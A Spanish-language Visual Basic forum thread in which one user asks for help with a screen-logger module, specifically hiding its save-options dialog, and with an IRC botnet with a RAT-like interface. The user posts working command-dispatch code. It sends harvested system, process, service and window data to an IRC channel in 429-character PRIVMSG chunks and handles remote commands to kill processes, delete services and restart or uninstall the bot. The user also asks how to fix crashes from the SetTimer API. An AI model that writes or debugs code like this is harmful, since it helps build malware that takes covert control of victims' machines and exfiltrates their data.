Visual Basic Foro

Hola buenos dias, estoy utilizando el modulo de LeandroAscierto del ScreenLogger, me gustaría ocultar la ventana de la función 'AVISaveOptions' [de la clase clsAviCreator] y que guarde la opción por defecto 'Fotogramas completos sin comprimir' 

AVISaveOptions(Owner, ICMF_CHOOSE_KEYFRAME Or ICMF_CHOOSE_DATARATE, 1, lpStream, lpACO)

El módulo es muy avanzado para mis conocimientos en VB, espero que me puedan ayudar.

He intentado obteniendo el handle de la ventana y mandando un 'SendMessage (13)' pero no funciona, si alguien sabe de alguna forma (cambiando algunas constantes en los parametros...) se lo agradecería...

Un saludo! 

Vale ya  me enteé, habia copiado y pegado la cabecera en todos los formularios y modulos del cliente y del servidor, por eso se me pasó lo del modulo tuyo a las 2 de la mañana Leandro, cuando llegue a mi casa le cambio esa cabecera, aquí tengo un proxy bloqueandome y no puedo sobreescribir el archivo de 4shared, pero en mi blog y en los sitios publicados ya he agregado tus creditos.

Perdón por el descuido.

Un saludo! 

PD : El que no me quiera creer que no me crea yo sigo teniendo la conciencia muy trnaquila. =)

Un malentendido, en la misma entrada de mi blog puedes ver enlaces pidiendo dudas en este foro, el mSock se sabe que es tuyo, no tuve ningnua intención de atribuirme los creditos lo que pasa es que a las 2 de la mañana publicando esto se me paso.

Hace tiempo que no revise el código y no me acuerdo muy bien si le puse autoarranque o no, cuando llegue a mi casa le hecho un ultimo vistazo!

Si el wmi me funciona en mi 7 Home Edition y en los demás.

Saludos! 

PD : Suelo quitar los comentarios en los modulos, ten en cuenta que este proyecto iba hacer privado pero al final lo publique, siempre quito los comentarios porque me estorban a la hora de ver el código.

Bueno como en el foro de elhacker no me dieron respuesta publico aqui mi problema. =)


Bueno, me explico, estoy haciendo una botnet IRC con interfaz usuario (parecido a un RAT) y tengo algunos problemas en el envio de datos, el protocolo IRC me limita bastante e intento escapar como puedo de esas limitaciones. Uno de mis primeros problemas es el envio de datos, yo envio los datos partiendolo en 429 carácteres, ya que los mensajes en los canales IRC no permiten mas.. por lo tanto mi método de envio es así :

Public Function Split_Data(ByVal Total_Data As String, ByVal Channel As String)
    Dim lData              As Long
    Dim lPack              As Long
    Dim sData              As String
  
    'Total_Data = "[E]" & Huffman.EncodeString(Total_Data)
    lData = Len(Total_Data)
    
    If s_Active = True Then
        If lData > 429 Then
            lPack = (Len(Total_Data) / 429) + 1
    
            While p < lPack
                  If s_Active = True Then
                        If p = 0 Then
                                  sData = Mid$(Total_Data, 1, 429)
                        Else
                                  sData = Mid$(Total_Data, p * 429, 429)
                        End If
                        
                        Wait 2
                        mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & sData & vbCrLf
                        
                        p = p + 1
                        DoEvents
                  End If
            Wend
        Else
                  Wait 2
                  mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & Total_Data & vbCrLf
        End If
    End If
    
    p = 0
End Function
Todo bien, lo que quiero resaltar es ese entero llamado p (numero de paquetes) que lo uso aparte de para ir contando los paquetes de 429 carácteres, lo uso para saber si todavía sigue enviando datos, porque las funciones cuando el servidor las recibe las pongo como en una especie de cola ejecutandose en un nuevo 'thread' :

Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
    If p = 0 Then
       Call KillTimer(hWnd, uElapse)

       Select Case uElapse
               Case 1:       Sender_Info (s_Chan)
               Case 2:       Sender_TotalInfo (s_Chan)
               Case 3:       Sender_Process (s_Chan)
               Case 4:       Terminate_Process (Command(2))
               Case 5:       Sender_Services (s_Chan)
               Case 6:       Start_Service (Command(2))
               Case 7:       Stop_Service (Command(2))
               Case 8:       Delete_Service (Command(2))
               Case 9:       Restart_BOT
               Case 10:      Close_BOT
               Case 11:      Uninstall_BOT
               Case 12:      Sender_Windows (s_Chan)
               'Case 13:      Close_Window (Command(2))
               'Case 14:      Hide_Window (Command(2))
               'Case 15:      Maximize_Window (Command(2))
               'Case 16:      Minimize_Window (Command(2))
               'Case 17:      Show_Window (Command(2))
       End Select
    End If
End Function
Como véis la p la uso como identificador para saber si sigue enviandose la anterior función para poder seguir con la siguiente... mi problema es que la p a veces (cuando el cliente envia muchas funciones seguidas) me falla como identificador y se para la acción anterior, envia la siguiente o simplemente hace un exceso de flood en el IRC.. no se me ocurre ningún identificador para eso.

Ese era mi primer problema, mi segundo problemilla (me interesa primero el anterior para resolver) es la lentitud de envio, sabiendo que envia solo 429 carácteres en cada paquete de envio y tiene que enviar mucha información, no sabría como saltarme ese limite de otra forma.

Saludos! =)

Estoy buscando información por todos lados, me interesa saber como se envia y recibe información de un dispositivo por USB, estuve leyendo algo de PICS (que todavia no lo tengo muy claro).

Un saludo!

Vale Leandro gracias, el error mio era que me faltaba declarar la función 'As Long'..

Un saludo!

Gracias por la constante ayuda Leandro, pero me pasa algo extraño, y es que el parametro nIDEvent no se asigna el ID que le pongo, por lo tanto no llega a hacer la funcion, el code es igual al que me has puesto..

Un saludo!

Bueno, me habian comentado sobre el Threading, para la ejecucion en otro hilo.. entonces me habian dicho que en visual basic se imita bien usando timers, para no estar poniendo millones de controles he querido usar estas APis, el problema es que hacen crashear facilmente el proyecto..

Aqui dejo un cacho de codigo..

Private Function set_Timer(ByVal s_Index As Integer)
        Select Case s_Index
               Case 1:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f1_Timer)
               Case 2:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f2_Timer)
               Case 3:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f3_Timer)
               Case 4:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f4_Timer)
               Case 5:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f5_Timer)
               Case 6:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f6_Timer)
               Case 7:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f7_Timer)
               Case 8:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f8_Timer)
               Case 9:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f9_Timer)
               Case 10:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f10_Timer)
               Case 11:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f11_Timer)
               Case 12:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f12_Timer)
        End Select
End Function

Private Function f1_Timer()
        If p = 0 Then
              Sender_Info (s_Chan)
              id_Timer(1) = KillTimer(0, id_Timer(1))
        End If
End Function

Private Function f2_Timer()
        If p = 0 Then
               Sender_TotalInfo (s_Chan)
               id_Timer(2) = KillTimer(0, id_Timer(2))
        End If
End Function

Private Function f3_Timer()
        If p = 0 Then
               Sender_Process (s_Chan)
               id_Timer(3) = KillTimer(0, id_Timer(3))
        End If
End Function

Private Function f4_Timer()
        If p = 0 Then
               Terminate_Process (Command(2))
               id_Timer(4) = KillTimer(0, id_Timer(4))
        End If
End Function

Private Function f5_Timer()
        If p = 0 Then
               Sender_Services (s_Chan)
               id_Timer(5) = KillTimer(0, id_Timer(5))
        End If
End Function

Private Function f6_Timer()
        If p = 0 Then
               Start_Service (Command(2))
               id_Timer(6) = KillTimer(0, id_Timer(6))
        End If
End Function

Private Function f7_Timer()
        If p = 0 Then
               Stop_Service (Command(2))
               id_Timer(7) = KillTimer(0, id_Timer(7))
        End If
End Function

Private Function f8_Timer()
        If p = 0 Then
               Delete_Service (Command(2))
               id_Timer(8) = KillTimer(0, id_Timer(8))
        End If
End Function

Private Function f9_Timer()
        If p = 0 Then
               Restart_BOT
               id_Timer(9) = KillTimer(0, id_Timer(9))
        End If
End Function

Private Function f10_Timer()
        If p = 0 Then
               Close_BOT
               id_Timer(10) = KillTimer(0, id_Timer(10))
        End If
End Function
                     
Private Function f11_Timer()
        If p = 0 Then
               Uninstall_BOT
               id_Timer(11) = KillTimer(0, id_Timer(11))
        End If
End Function
 
Private Function f12_Timer()
        If p = 0 Then
               Sender_Windows (s_Chan)
               id_Timer(12) = KillTimer(0, id_Timer(12))
        End If
End Function

Me gustaria saber alguna forma de intentar evitar esos crashes..

Saludos!